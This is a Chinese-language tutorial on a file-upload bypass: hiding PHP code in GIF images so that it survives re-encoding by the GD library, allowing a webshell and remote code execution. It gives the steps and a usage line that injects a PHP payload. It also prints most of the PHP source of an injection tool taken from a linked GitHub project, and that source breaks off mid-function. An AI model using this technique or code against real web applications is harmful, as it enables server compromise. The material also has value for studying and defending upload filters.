应用调用图片库对上传的文件进行了图片转换,所以即使将图片与文件合并,也会将尾部转换掉,无法使用上传合成图片马等方式上传webshell。
1、将正常图片用目标的图形库进行转换
2、寻找转换前后两次未变的部分
4、将替换后的文件进行图像转换,看是否存在我们替换的内容
转换前:123abc[112233]abc
转换后:xxxsdd[112233]2du
一个小的测试项目:
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE
1、先生成普通合成图片尝试上传
发现上传成功后,php脚本内容被清除
然后对图片进行处理:
用法:codeinj.php demo.gif "<?php phpinfo();?>"
上传后可以成功解析
上传后的图片中php脚本内容仍然被保留。
图片重绘代码如下:
<?php
function gd_process($src_img, $dst_img) {
try {
# you can redefine the GD process
$im = imagecreatefromgif($src_img);
imagegif($im, $dst_img);
} catch (Exception $e) {
printf("%s
", $e->getMessage());
return false;
}
return true;
}
function find_similar_block($src_img, $dst_img, $block_len, $slow=false) {
$src_data = fread(fopen($src_img, "rb"), filesize($src_img));
$dst_data = fread(fopen($dst_img, "rb"), filesize($dst_img));
$src_index = 0;
$pre_match_array = array();
while ($src_index < (strlen($src_data) - $block_len)) {
$find_data = substr($src_data, $src_index, $block_len);
$dst_index = 0;
$found = false;
while ($dst_index < (strlen($dst_data) - $block_len)) {
$temp_data = substr($dst_data, $dst_index, $block_len);
if (0 === strcmp($find_data, $temp_data)) {
$match = array(
"src_offset" => $src_index,
"dst_offset" => $dst_index
);
$pre_match_array[] = $match;
$found = true;
/*
printf("Similar block found> src_offset: %d
", $src_index);
printf(" dst_offset: %d
", $dst_index);
printf(" similar_data: %s
", str2hex($temp_data));
printf(" similar_length: %s
", strlen($temp_data));
*/
}
if ($found && $slow == false)
$dst_index += $block_len;
else
$dst_index++;
}
if ($found && $slow == false)
$src_index += $block_len;
else
$src_index++;
}
return $pre_match_array;
}
function inject_code_to_src_img($src_img, $pre_match_array, $injection_code) {
$src_data = fread(fopen($src_img, "rb"), filesize($src_img));
$inj_len = strlen($injection_code);
$find_n = 0;
foreach ($pre_match_array as $similar_block) {
#printf("Trying inject code to source image with offset: %d, length: %d
", $similar_block["src_offset"], $inj_len);
$mod_src_data